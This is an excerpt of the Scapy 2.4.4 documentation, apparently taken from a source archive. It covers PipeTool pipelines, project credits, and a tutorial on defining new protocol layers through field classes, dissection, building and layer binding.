= CLIHighFeeder() >>> b2 = DownDrain() >>> a2 >> b2 >>> b2 > b >>> a2.send("hello") The PipeEngine class -------------------- The :class:`~scapy.pipetool.PipeEngine` class is the core class of the Pipetool system. It must be initialized and passed the list of all Sources. There are two ways of passing sources: - during initialization: ``p = PipeEngine(source1, source2, ...)`` - using the ``add(source)`` method A :class:`~scapy.pipetool.PipeEngine` class must be started with ``.start()`` function. It may be force-stopped with the ``.stop()``, or cleanly stopped with ``.wait_and_stop()`` A clean stop only works if the Sources is exhausted (has no data to send left). It can be printed into a graph using ``.graph()`` methods. see ``help(do_graph)`` for the list of available keyword arguments. Scapy advanced PipeTool objects ------------------------------- .. note:: Unlike the previous objects, those are not located in ``scapy.pipetool`` but in ``scapy.scapypipes`` Now that you know the default PipeTool objects, here are some more advanced ones, based on packet functionalities. - :class:`~scapy.scapypipes.SniffSource` : Read packets from an interface and send them to low exit. - :class:`~scapy.scapypipes.RdpcapSource` : Read packets from a PCAP file send them to low exit. - :class:`~scapy.scapypipes.InjectSink` : Packets received on low input are injected (sent) to an interface - :class:`~scapy.scapypipes.WrpcapSink` : Packets received on low input are written to PCAP file - :class:`~scapy.scapypipes.UDPDrain` : UDP payloads received on high entry are sent over UDP (complicated, have a look at ``help(UDPDrain)``) - :class:`~scapy.scapypipes.FDSourceSink` : Use a file descriptor as source and sink - :class:`~scapy.scapypipes.TCPConnectPipe`: TCP connect to addr:port and use it as source and sink - :class:`~scapy.scapypipes.TCPListenPipe` : TCP listen on [addr:]port and use the first connection as source and sink (complicated, have a look at ``help(TCPListenPipe)``) Triggering ---------- Some special sort of Drains exists: the Trigger Drains. Trigger Drains are special drains, that on receiving data not only pass it by but also send a "Trigger" input, that is received and handled by the next triggered drain (if it exists). For example, here is a basic :class:`~scapy.scapypipes.TriggerDrain` usage: .. code:: pycon >>> a = CLIFeeder() >>> d = TriggerDrain(lambda msg: True) # Pass messages and trigger when a condition is met >>> d2 = TriggeredValve() >>> s = ConsoleSink() >>> a > d > d2 > s >>> d ^ d2 # Link the triggers >>> p = PipeEngine(s) >>> p.start() INFO: Pipe engine thread started. >>> >>> a.send("this will be printed") >'this will be printed' >>> a.send("this won't, because the valve was switched") >>> a.send("this will, because the valve was switched again") >'this will, because the valve was switched again' >>> p.stop() Several triggering Drains exist, they are pretty explicit. It is highly recommended to check the doc using ``help([the class])`` - :class:`~scapy.scapypipes.TriggeredMessage` : Send a preloaded message when triggered and trigger in chain - :class:`~scapy.scapypipes.TriggerDrain` : Pass messages and trigger when a condition is met - :class:`~scapy.scapypipes.TriggeredValve` : Let messages alternatively pass or not, changing on trigger - :class:`~scapy.scapypipes.TriggeredQueueingValve` : Let messages alternatively pass or queued, changing on trigger - :class:`~scapy.scapypipes.TriggeredSwitch` : Let messages alternatively high or low, changing on trigger scapy-2.4.4/doc/scapy/backmatter.rst000066400000000000000000000007031372370053500174000ustar00rootroot00000000000000 ********* Credits ********* - Philippe Biondi is Scapy's author. He has also written most of the documentation. - Pierre Lalet, Gabriel Potter, Guillaume Valadon are the current most active maintainers and contributors. - Fred Raynal wrote the chapter on building and dissecting packets. - Peter Kacherginsky contributed several tutorial sections, one-liners and recipes. - Dirk Loss integrated and restructured the existing docs to make this book. scapy-2.4.4/doc/scapy/build_dissect.rst000066400000000000000000001172131372370053500201050ustar00rootroot00000000000000******************** Adding new protocols ******************** Adding new protocol (or more correctly: a new *layer*) in Scapy is very easy. All the magic is in the fields. If the fields you need are already there and the protocol is not too brain-damaged, this should be a matter of minutes. Simple example ============== A layer is a subclass of the ``Packet`` class. All the logic behind layer manipulation is held by the ``Packet`` class and will be inherited. A simple layer is compounded by a list of fields that will be either concatenated when assembling the layer or dissected one by one when disassembling a string. The list of fields is held in an attribute named ``fields_desc``. Each field is an instance of a field class:: class Disney(Packet): name = "DisneyPacket " fields_desc=[ ShortField("mickey",5), XByteField("minnie",3) , IntEnumField("donald" , 1 , { 1: "happy", 2: "cool" , 3: "angry" } ) ] In this example, our layer has three fields. The first one is a 2-byte integer field named ``mickey`` and whose default value is 5. The second one is a 1-byte integer field named ``minnie`` and whose default value is 3. The difference between a vanilla ``ByteField`` and an ``XByteField`` is only the fact that the preferred human representation of the field’s value is in hexadecimal. The last field is a 4-byte integer field named ``donald``. It is different from a vanilla ``IntField`` by the fact that some of the possible values of the field have literate representations. For example, if it is worth 3, the value will be displayed as angry. Moreover, if the "cool" value is assigned to this field, it will understand that it has to take the value 2. If your protocol is as simple as this, it is ready to use:: >>> d=Disney(mickey=1) >>> ls(d) mickey : ShortField = 1 (5) minnie : XByteField = 3 (3) donald : IntEnumField = 1 (1) >>> d.show() ###[ Disney Packet ]### mickey= 1 minnie= 0x3 donald= happy >>> d.donald="cool" >>> raw(d) ’\x00\x01\x03\x00\x00\x00\x02’ >>> Disney(_) This chapter explains how to build a new protocol within Scapy. There are two main objectives: * Dissecting: this is done when a packet is received (from the network or a file) and should be converted to Scapy’s internals. * Building: When one wants to send such a new packet, some stuff needs to be adjusted automatically in it. Layers ====== Before digging into dissection itself, let us look at how packets are organized. :: >>> p = IP()/TCP()/"AAAA" >>> p >> >>> p.summary() 'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw' We are interested in 2 "inside" fields of the class ``Packet``: * ``p.underlayer`` * ``p.payload`` And here is the main "trick". You do not care about packets, only about layers, stacked one after the other. One can easily access a layer by its name: ``p[TCP]`` returns the ``TCP`` and following layers. This is a shortcut for ``p.getlayer(TCP)``. .. note:: There is an optional argument (``nb``) which returns the ``nb`` th layer of required protocol. Let's put everything together now, playing with the ``TCP`` layer:: >>> tcp=p[TCP] >>> tcp.underlayer >> >>> tcp.payload As expected, ``tcp.underlayer`` points to the beginning of our IP packet, and ``tcp.payload`` to its payload. Building a new layer -------------------- .. index:: single: Layer VERY EASY! A layer is mainly a list of fields. Let's look at ``UDP`` definition:: class UDP(Packet): name = "UDP" fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES), ShortEnumField("dport", 53, UDP_SERVICES), ShortField("len", None), XShortField("chksum", None), ] And you are done! There are many fields already defined for convenience, look at the doc``^W`` sources as Phil would say. So, defining a layer is simply gathering fields in a list. The goal is here to provide the efficient default values for each field so the user does not have to give them when he builds a packet. The main mechanism is based on the ``Field`` structure. Always keep in mind that a layer is just a little more than a list of fields, but not much more. So, to understand how layers are working, one needs to look quickly at how the fields are handled. Manipulating packets == manipulating its fields ----------------------------------------------- .. index:: single: i2h() single: i2m() single: m2i() A field should be considered in different states: - ``i`` (nternal) : this is the way Scapy manipulates it. - ``m`` (achine) : this is where the truth is, that is the layer as it is on the network. - ``h`` (uman) : how the packet is displayed to our human eyes. This explains the mysterious methods ``i2h()``, ``i2m()``, ``m2i()`` and so on available in each field: they are the conversion from one state to another, adapted to a specific use. Other special functions: - ``any2i()`` guess the input representation and returns the internal one. - ``i2repr()`` a nicer ``i2h()`` However, all these are "low level" functions. The functions adding or extracting a field to the current layer are: - ``addfield(self, pkt, s, val)``: copy the network representation of field ``val`` (belonging to layer ``pkt``) to the raw string packet ``s``:: class StrFixedLenField(StrField): def addfield(self, pkt, s, val): return s+struct.pack("%is"%self.length,self.i2m(pkt, val)) - ``getfield(self, pkt, s)``: extract from the raw packet ``s`` the field value belonging to layer ``pkt``. It returns a list, the 1st element is the raw packet string after having removed the extracted field, the second one is the extracted field itself in internal representation:: class StrFixedLenField(StrField): def getfield(self, pkt, s): return s[self.length:], self.m2i(pkt,s[:self.length]) When defining your own layer, you usually just need to define some ``*2*()`` methods, and sometimes also the ``addfield()`` and ``getfield()``. Example: variable length quantities ----------------------------------- There is a way to represent integers on a variable length quantity often used in protocols, for instance when dealing with signal processing (e.g. MIDI). Each byte of the number is coded with the MSB set to 1, except the last byte. For instance, 0x123456 will be coded as 0xC8E856:: def vlenq2str(l): s = [] s.append( hex(l & 0x7F) ) l = l >> 7 while l>0: s.append( hex(0x80 | (l & 0x7F) ) ) l = l >> 7 s.reverse() return "".join(chr(int(x, 16)) for x in s) def str2vlenq(s=""): i = l = 0 while i>> f = FOO(data="A"*129) >>> f.show() ###[ FOO ]### len= 0 data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' Here, ``len`` is not yet computed and only the default value are displayed. This is the current internal representation of our layer. Let's force the computation now:: >>> f.show2() ###[ FOO ]### len= 129 data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' The method ``show2()`` displays the fields with their values as they will be sent to the network, but in a human readable way, so we see ``len=129``. Last but not least, let us look now at the machine representation:: >>> raw(f) '\x81\x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' The first 2 bytes are ``\x81\x01``, which is 129 in this encoding. Dissecting ========== .. index:: dissecting Layers only are list of fields, but what is the glue between each field, and after, between each layer. These are the mysteries explain in this section. The basic stuff --------------- The core function for dissection is ``Packet.dissect()``:: def dissect(self, s): s = self.pre_dissect(s) s = self.do_dissect(s) s = self.post_dissect(s) payl,pad = self.extract_padding(s) self.do_dissect_payload(payl) if pad and conf.padding: self.add_payload(Padding(pad)) When called, ``s`` is a string containing what is going to be dissected. ``self`` points to the current layer. :: >>> p=IP("A"*20)/TCP("B"*32) WARNING: bad dataofs (4). Assuming dataofs=5 >>> p >> ``Packet.dissect()`` is called 3 times: 1. to dissect the ``"A"*20`` as an IPv4 header 2. to dissect the ``"B"*32`` as a TCP header 3. and since there are still 12 bytes in the packet, they are dissected as "``Raw``" data (which is some kind of default layer type) For a given layer, everything is quite straightforward: - ``pre_dissect()`` is called to prepare the layer. - ``do_dissect()`` perform the real dissection of the layer. - ``post_dissection()`` is called when some updates are needed on the dissected inputs (e.g. deciphering, uncompressing, ... ) - ``extract_padding()`` is an important function which should be called by every layer containing its own size, so that it can tell apart in the payload what is really related to this layer and what will be considered as additional padding bytes. - ``do_dissect_payload()`` is the function in charge of dissecting the payload (if any). It is based on ``guess_payload_class()`` (see below). Once the type of the payload is known, the payload is bound to the current layer with this new type:: def do_dissect_payload(self, s): cls = self.guess_payload_class(s) p = cls(s, _internal=1, _underlayer=self) self.add_payload(p) At the end, all the layers in the packet are dissected, and glued together with their known types. Dissecting fields ----------------- The method with all the magic between a layer and its fields is ``do_dissect()``. If you have understood the different representations of a layer, you should understand that "dissecting" a layer is building each of its fields from the machine to the internal representation. Guess what? That is exactly what ``do_dissect()`` does:: def do_dissect(self, s): flist = self.fields_desc[:] flist.reverse() while s and flist: f = flist.pop() s,fval = f.getfield(self, s) self.fields[f] = fval return s So, it takes the raw string packet, and feed each field with it, as long as there are data or fields remaining:: >>> FOO("\xff\xff"+"B"*8) When writing ``FOO("\xff\xff"+"B"*8)``, it calls ``do_dissect()``. The first field is VarLenQField. Thus, it takes bytes as long as their MSB is set, thus until (and including) the first '``B``'. This mapping is done thanks to ``VarLenQField.getfield()`` and can be cross-checked:: >>> vlenq2str(2097090) '\xff\xffB' Then, the next field is extracted the same way, until 2097090 bytes are put in ``FOO.data`` (or less if 2097090 bytes are not available, as here). If there are some bytes left after the dissection of the current layer, it is mapped in the same way to the what the next is expected to be (``Raw`` by default):: >>> FOO("\x05"+"B"*8) > Hence, we need now to understand how layers are bound together. Binding layers -------------- One of the cool features with Scapy when dissecting layers is that it tries to guess for us what the next layer is. The official way to link 2 layers is using ``bind_layers()`` function. Available inside the ``packet`` module, this function can be used as following:: bind_layers(ProtoA, ProtoB, FieldToBind=Value) Each time a packet ``ProtoA()/ProtoB()`` will be created, the ``FieldToBind`` of ``ProtoA`` will be equal to ``Value``. For instance, if you have a class ``HTTP``, you may expect that all the packets coming from or going to port 80 will be decoded as such. This is simply done that way:: bind_layers( TCP, HTTP, sport=80 ) bind_layers( TCP, HTTP, dport=80 ) That's all folks! Now every packet related to port 80 will be associated to the layer ``HTTP``, whether it is read from a pcap file or received from the network. The ``guess_payload_class()`` way ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Sometimes, guessing the payload class is not as straightforward as defining a single port. For instance, it can depend on a value of a given byte in the current layer. The 2 needed methods are: - ``guess_payload_class()`` which must return the guessed class for the payload (next layer). By default, it uses links between classes that have been put in place by ``bind_layers()``. - ``default_payload_class()`` which returns the default value. This method defined in the class ``Packet`` returns ``Raw``, but it can be overloaded. For instance, decoding 802.11 changes depending on whether it is ciphered or not:: class Dot11(Packet): def guess_payload_class(self, payload): if self.FCfield & 0x40: return Dot11WEP else: return Packet.guess_payload_class(self, payload) Several comments are needed here: - this cannot be done using ``bind_layers()`` because the tests are supposed to be "``field==value``", but it is more complicated here as we test a single bit in the value of a field. - if the test fails, no assumption is made, and we plug back to the default guessing mechanisms calling ``Packet.guess_payload_class()`` Most of the time, defining a method ``guess_payload_class()`` is not a necessity as the same result can be obtained from ``bind_layers()``. Changing the default behavior ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If you do not like Scapy's behavior for a given layer, you can either change or disable it through a call to ``split_layers()``. For instance, if you do not want UDP/53 to be bound with ``DNS``, just add in your code:: split_layers(UDP, DNS, sport=53) Now every packet with source port 53 will not be handled as DNS, but whatever you specify instead. Under the hood: putting everything together ------------------------------------------- In fact, each layer has a field payload_guess. When you use the bind_layers() way, it adds the defined next layers to that list. :: >>> p=TCP() >>> p.payload_guess [({'dport': 2000}, ), ({'sport': 2000}, ), ... )] Then, when it needs to guess the next layer class, it calls the default method ``Packet.guess_payload_class()``. This method runs through each element of the list payload_guess, each element being a tuple: - the 1st value is a field to test (``'dport': 2000``) - the 2nd value is the guessed class if it matches (``Skinny``) So, the default ``guess_payload_class()`` tries all element in the list, until one matches. If no element are found, it then calls ``default_payload_class()``. If you have redefined this method, then yours is called, otherwise, the default one is called, and ``Raw`` type is returned. ``Packet.guess_payload_class()`` - test what is in field ``guess_payload`` - call overloaded ``guess_payload_class()`` Building ======== Building a packet is as simple as building each layer. Then, some magic happens to glue everything. Let's do magic then. The basic stuff --------------- The first thing to establish is: what does "build" mean? As we have seen, a layer can be represented in different ways (human, internal, machine). Building means going to the machine format. The second thing to understand is ''when'' a layer is built. The answer is not that obvious, but as soon as you need the machine representation, the layers are built: when the packet is dropped on the network or written to a file, or when it is converted as a string, ... In fact, machine representation should be regarded as a big string with the layers appended altogether. :: >>> p = IP()/TCP() >>> hexdump(p) 0000 45 00 00 28 00 01 00 00 40 06 7C CD 7F 00 00 01 E..(....@.|..... 0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........ 0020 50 02 20 00 91 7C 00 00 P. ..|.. Calling ``raw()`` builds the packet: - non instanced fields are set to their default value - lengths are updated automatically - checksums are computed - and so on. In fact, using ``raw()`` rather than ``show2()`` or any other method is not a random choice as all the functions building the packet calls ``Packet.__str__()`` (or ``Packet.__bytes__()`` under Python 3). However, ``__str__()`` calls another method: ``build()``:: def __str__(self): return next(iter(self)).build() What is important also to understand is that usually, you do not care about the machine representation, that is why the human and internal representations are here. So, the core method is ``build()`` (the code has been shortened to keep only the relevant parts):: def build(self,internal=0): pkt = self.do_build() pay = self.build_payload() p = self.post_build(pkt,pay) if not internal: pkt = self while pkt.haslayer(Padding): pkt = pkt.getlayer(Padding) p += pkt.load pkt = pkt.payload return p So, it starts by building the current layer, then the payload, and ``post_build()`` is called to update some late evaluated fields (like checksums). Last, the padding is added to the end of the packet. Of course, building a layer is the same as building each of its fields, and that is exactly what ``do_build()`` does. Building fields --------------- The building of each field of a layer is called in ``Packet.do_build()``:: def do_build(self): p="" for f in self.fields_desc: p = f.addfield(self, p, self.getfieldval(f)) return p The core function to build a field is ``addfield()``. It takes the internal view of the field and put it at the end of ``p``. Usually, this method calls ``i2m()`` and returns something like ``p.self.i2m(val)`` (where ``val=self.getfieldval(f)``). If ``val`` is set, then ``i2m()`` is just a matter of formatting the value the way it must be. For instance, if a byte is expected, ``struct.pack("B", val)`` is the right way to convert it. However, things are more complicated if ``val`` is not set, it means no default value was provided earlier, and thus the field needs to compute some "stuff" right now or later. "Right now" means thanks to ``i2m()``, if all pieces of information are available. For instance, if you have to handle a length until a certain delimiter. Ex: counting the length until a delimiter :: class XNumberField(FieldLenField): def __init__(self, name, default, sep="\r\n"): FieldLenField.__init__(self, name, default, fld) self.sep = sep def i2m(self, pkt, x): x = FieldLenField.i2m(self, pkt, x) return "%02x" % x def m2i(self, pkt, x): return int(x, 16) def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) def getfield(self, pkt, s): sep = s.find(self.sep) return s[sep:], self.m2i(pkt, s[:sep]) In this example, in ``i2m()``, if ``x`` has already a value, it is converted to its hexadecimal value. If no value is given, a length of "0" is returned. The glue is provided by ``Packet.do_build()`` which calls ``Field.addfield()`` for each field in the layer, which in turn calls ``Field.i2m()``: the layer is built IF a value was available. Handling default values: ``post_build`` --------------------------------------- A default value for a given field is sometimes either not known or impossible to compute when the fields are put together. For instance, if we used a ``XNumberField`` as defined previously in a layer, we expect it to be set to a given value when the packet is built. However, nothing is returned by ``i2m()`` if it is not set. The answer to this problem is ``Packet.post_build()``. When this method is called, the packet is already built, but some fields still need to be computed. This is typically what is required to compute checksums or lengths. In fact, this is required each time a field's value depends on something which is not in the current So, let us assume we have a packet with a ``XNumberField``, and have a look to its building process:: class Foo(Packet): fields_desc = [ ByteField("type", 0), XNumberField("len", None, "\r\n"), StrFixedLenField("sep", "\r\n", 2) ] def post_build(self, p, pay): if self.len is None and pay: l = len(pay) p = p[:1] + hex(l)[2:]+ p[2:] return p+pay When ``post_build()`` is called, ``p`` is the current layer, ``pay`` the payload, that is what has already been built. We want our length to be the full length of the data put after the separator, so we add its computation in ``post_build()``. :: >>> p = Foo()/("X"*32) >>> p.show2() ###[ Foo ]### type= 0 len= 32 sep= '\r\n' ###[ Raw ]### load= 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' ``len`` is correctly computed now:: >>> hexdump(raw(p)) 0000 00 32 30 0D 0A 58 58 58 58 58 58 58 58 58 58 58 .20..XXXXXXXXXXX 0010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 0020 58 58 58 58 58 XXXXX And the machine representation is the expected one. Handling default values: automatic computation ---------------------------------------------- As we have previously seen, the dissection mechanism is built upon the links between the layers created by the programmer. However, it can also be used during the building process. In the layer ``Foo()``, our first byte is the type, which defines what comes next, e.g. if ``type=0``, next layer is ``Bar0``, if it is 1, next layer is ``Bar1``, and so on. We would like then this field to be set automatically according to what comes next. :: class Bar1(Packet): fields_desc = [ IntField("val", 0), ] class Bar2(Packet): fields_desc = [ IPField("addr", "127.0.0.1") ] If we use these classes with nothing else, we will have trouble when dissecting the packets as nothing binds Foo layer with the multiple ``Bar*`` even when we explicitly build the packet through the call to ``show2()``:: >>> p = Foo()/Bar1(val=1337) >>> p > >>> p.show2() ###[ Foo ]### type= 0 len= 4 sep= '\r\n' ###[ Raw ]### load= '\x00\x00\x059' Problems: 1. ``type`` is still equal to 0 while we wanted it to be automatically set to 1. We could of course have built ``p`` with ``p = Foo(type=1)/Bar0(val=1337)`` but this is not very convenient. 2. the packet is badly dissected as ``Bar1`` is regarded as ``Raw``. This is because no links have been set between ``Foo()`` and ``Bar*()``. In order to understand what we should have done to obtain the proper behavior, we must look at how the layers are assembled. When two independent packets instances ``Foo()`` and ``Bar1(val=1337)`` are compounded with the '/' operator, it results in a new packet where the two previous instances are cloned (i.e. are now two distinct objects structurally different, but holding the same values):: def __div__(self, other): if isinstance(other, Packet): cloneA = self.copy() cloneB = other.copy() cloneA.add_payload(cloneB) return cloneA elif type(other) is str: return self/Raw(load=other) The right-hand side of the operator becomes the payload of the left-hand side. This is performed through the call to ``add_payload()``. Finally, the new packet is returned. Note: we can observe that if other isn't a ``Packet`` but a string, the ``Raw`` class is instantiated to form the payload. Like in this example:: >>> IP()/"AAAA" > Well, what ``add_payload()`` should implement? Just a link between two packets? Not only, in our case, this method will appropriately set the correct value to ``type``. Instinctively we feel that the upper layer (the right of '/') can gather the values to set the fields to the lower layer (the left of '/'). Like previously explained, there is a convenient mechanism to specify the bindings in both directions between two neighboring layers. Once again, these information must be provided to ``bind_layers()``, which will internally call ``bind_top_down()`` in charge to aggregate the fields to overload. In our case what we need to specify is:: bind_layers( Foo, Bar1, {'type':1} ) bind_layers( Foo, Bar2, {'type':2} ) Then, ``add_payload()`` iterates over the ``overload_fields`` of the upper packet (the payload), get the fields associated to the lower packet (by its type) and insert them in ``overloaded_fields``. For now, when the value of this field will be requested, ``getfieldval()`` will return the value inserted in ``overloaded_fields``. The fields are dispatched between three dictionaries: - ``fields``: fields whose the value have been explicitly set, like ``pdst`` in TCP (``pdst='42'``) - ``overloaded_fields``: overloaded fields - ``default_fields``: all the fields with their default value (these fields are initialized according to ``fields_desc`` by the constructor by calling ``init_fields()`` ). In the following code, we can observe how a field is selected and its value returned:: def getfieldval(self, attr): for f in self.fields, self.overloaded_fields, self.default_fields: if f.has_key(attr): return f[attr] return self.payload.getfieldval(attr) Fields inserted in ``fields`` have the higher priority, then ``overloaded_fields``, then finally ``default_fields``. Hence, if the field ``type`` is set in ``overloaded_fields``, its value will be returned instead of the value contained in ``default_fields``. We are now able to understand all the magic behind it! :: >>> p = Foo()/Bar1(val=0x1337) >>> p > >>> p.show() ###[ Foo ]### type= 1 len= 4 sep= '\r\n' ###[ Bar1 ]### val= 4919 Our 2 problems have been solved without us doing much: so good to be lazy :) Under the hood: putting everything together ------------------------------------------- Last but not least, it is very useful to understand when each function is called when a packet is built:: >>> hexdump(raw(p)) Packet.str=Foo Packet.iter=Foo Packet.iter=Bar1 Packet.build=Foo Packet.build=Bar1 Packet.post_build=Bar1 Packet.post_build=Foo As you can see, it first runs through the list of each field, and then build them starting from the beginning. Once all layers have been built, it then calls ``post_build()`` starting from the end. Fields ====== .. index:: single: fields Here's a list of fields that Scapy supports out of the box: Simple datatypes ---------------- Legend: - ``X`` - hexadecimal representation - ``LE`` - little endian (default is big endian = network byte order) - ``Signed`` - signed (default is unsigned) :: ByteField XByteField ShortField SignedShortField LEShortField XShortField X3BytesField # three bytes as hex LEX3BytesField # little endian three bytes as hex ThreeBytesField # three bytes as decimal LEThreeBytesField # little endian three bytes as decimal IntField SignedIntField LEIntField LESignedIntField XIntField LongField SignedLongField LELongField LESignedLongField XLongField LELongField IEEEFloatField IEEEDoubleField BCDFloatField # binary coded decimal BitField XBitField BitFieldLenField # BitField specifying a length (used in RTP) FlagsField FloatField Enumerations ------------ Possible field values are taken from a given enumeration (list, dictionary, ...) e.g.:: ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}) :: EnumField(name, default, enum, fmt = "H") CharEnumField BitEnumField ShortEnumField LEShortEnumField ByteEnumField IntEnumField SignedIntEnumField LEIntEnumField XShortEnumField Strings ------- :: StrField(name, default, fmt="H", remain=0, shift=0) StrLenField(name, default, fld=None, length_from=None, shift=0): StrFixedLenField StrNullField StrStopField Lists and lengths ----------------- :: FieldList(name, default, field, fld=None, shift=0, length_from=None, count_from=None) # A list assembled and dissected with many times the same field type # field: instance of the field that will be used to assemble and disassemble a list item # length_from: name of the FieldLenField holding the list length FieldLenField # holds the list length of a FieldList field LEFieldLenField LenField # contains len(pkt.payload) PacketField # holds packets PacketLenField # used e.g. in ISAKMP_payload_Proposal PacketListField Variable length fields ^^^^^^^^^^^^^^^^^^^^^^ This is about how fields that have a variable length can be handled with Scapy. These fields usually know their length from another field. Let's call them varfield and lenfield. The idea is to make each field reference the other so that when a packet is dissected, varfield can know its length from lenfield when a packet is assembled, you don't have to fill lenfield, that will deduce its value directly from varfield value. Problems arise when you realize that the relation between lenfield and varfield is not always straightforward. Sometimes, lenfield indicates a length in bytes, sometimes a number of objects. Sometimes the length includes the header part, so that you must subtract the fixed header length to deduce the varfield length. Sometimes the length is not counted in bytes but in 16bits words. Sometimes the same lenfield is used by two different varfields. Sometimes the same varfield is referenced by two lenfields, one in bytes one in 16bits words. The length field ~~~~~~~~~~~~~~~~ First, a lenfield is declared using ``FieldLenField`` (or a derivate). If its value is None when assembling a packet, its value will be deduced from the varfield that was referenced. The reference is done using either the ``length_of`` parameter or the ``count_of`` parameter. The ``count_of`` parameter has a meaning only when varfield is a field that holds a list (``PacketListField`` or ``FieldListField``). The value will be the name of the varfield, as a string. According to which parameter is used the ``i2len()`` or ``i2count()`` method will be called on the varfield value. The returned value will the be adjusted by the function provided in the adjust parameter. adjust will be applied to 2 arguments: the packet instance and the value returned by ``i2len()`` or ``i2count()``. By default, adjust does nothing:: adjust=lambda pkt,x: x For instance, if ``the_varfield`` is a list :: FieldLenField("the_lenfield", None, count_of="the_varfield") or if the length is in 16bits words:: FieldLenField("the_lenfield", None, length_of="the_varfield", adjust=lambda pkt,x:(x+1)/2) The variable length field ~~~~~~~~~~~~~~~~~~~~~~~~~ A varfield can be: ``StrLenField``, ``PacketLenField``, ``PacketListField``, ``FieldListField``, ... For the two firsts, when a packet is being dissected, their lengths are deduced from a lenfield already dissected. The link is done using the ``length_from`` parameter, which takes a function that, applied to the partly dissected packet, returns the length in bytes to take for the field. For instance:: StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield) or :: StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield-12) For the ``PacketListField`` and ``FieldListField`` and their derivatives, they work as above when they need a length. If they need a number of elements, the length_from parameter must be ignored and the count_from parameter must be used instead. For instance:: FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield) Examples ^^^^^^^^ :: class TestSLF(Packet): fields_desc=[ FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt:pkt.len) ] class TestPLF(Packet): fields_desc=[ FieldLenField("len", None, count_of="plist"), PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ] class TestFLF(Packet): fields_desc=[ FieldLenField("the_lenfield", None, count_of="the_varfield"), FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield) ] class TestPkt(Packet): fields_desc = [ ByteField("f1",65), ShortField("f2",0x4244) ] def extract_padding(self, p): return "", p class TestPLF2(Packet): fields_desc = [ FieldLenField("len1", None, count_of="plist",fmt="H", adjust=lambda pkt,x:x+2), FieldLenField("len2", None, length_of="plist",fmt="I", adjust=lambda pkt,x:(x+1)/2), PacketListField("plist", None, TestPkt, length_from=lambda x:(x.len2*2)/3*3) ] Test the ``FieldListField`` class:: >>> TestFLF("\x00\x02ABCDEFGHIJKL") > Special ------- :: Emph # Wrapper to emphasize field when printing, e.g. Emph(IPField("dst", "127.0.0.1")), ActionField ConditionalField(fld, cond) # Wrapper to make field 'fld' only appear if # function 'cond' evals to True, e.g. # ConditionalField(XShortField("chksum",None),lambda pkt:pkt.chksumpresent==1) PadField(fld, align, padwith=None) # Add bytes after the proxified field so that it ends at # the specified alignment from its beginning BitExtendedField(extension_bit) # Field with a variable number of bytes. Each byte is made of: # - 7 bits of data # - 1 extension bit: # * 0 means that it is the last byte of the field ("stopping bit") # * 1 means that there is another byte after this one ("forwarding bit") # extension_bit is the bit number [0-7] of the extension bit in the byte MSBExtendedField, LSBExtendedField # Special cases of BitExtendedField TCP/IP ------ :: IPField SourceIPField IPoptionsField TCPOptionsField MACField DestMACField(MACField) SourceMACField(MACField) ICMPTimeStampField 802.11 ------ :: Dot11AddrMACField Dot11Addr2MACField Dot11Addr3MACField Dot11Addr4MACField Dot11SCField DNS --- :: DNSStrField DNSRRCountField DNSRRField DNSQRField ASN.1 ----- :: ASN1F_element ASN1F_field ASN1F_INTEGER ASN1F_enum_INTEGER ASN1F_STRING ASN1F_OID ASN1F_SEQUENCE ASN1F_SEQUENCE_OF ASN1F_PACKET ASN1F_CHOICE Other protocols --------------- :: NetBIOSNameField # NetBIOS (StrFixedLenField) ISAKMPTransformSetField # ISAKMP (StrLenField) TimeStampField # NTP (BitField) Design patterns =============== Some patterns are similar to a lot of protocols and thus can be described the same way in Scapy. The following parts will present several models and conventions that can be followed when implementing a new protocol. Field naming convention ----------------------- The goal is to keep the writing of packets fluent and intuitive. The basic instructions are the following : * Use inverted camel case and common abbreviations (e.g. len, src, dst, dstPort, srcIp). * Wherever it is either possible or relevant, prefer using the names from the specifications. This aims to help newcomers to easily forge packets. Add new protocols to Scapy -------------------------- New protocols can go either in ``scapy/layers`` or to ``scapy/contrib``. Protocols in ``scapy/layers`` should be usually found on common networks, while protocols in ``scapy/contrib`` should be uncommon or specific. To be precise, ``scapy/layers`` protocols should not be importing ``scapy/contrib`` protocols, whereas ``scapy/contrib`` protocols may import both ``scapy/contrib`` and ``scapy/layers`` protocols. Scapy provides an ``explore()`` function, to search through the available layer/contrib modules. Therefore, modules contributed back to Scapy must provide information about them, knowingly: - A **contrib** module must have defined, near the top of the module (below the license header is a good place) **(without the brackets)** `Example `_ :: # scapy.contrib.description = [...] # scapy.contrib.status = [...] # scapy.contrib.name = [...] (optional) - If the contrib module does not contain any packets, and should not be indexed in `explore()`, then you should instead set:: # scapy.contrib.status = skip - A **layer** module must have a docstring, in which the first line shortly describes the module. 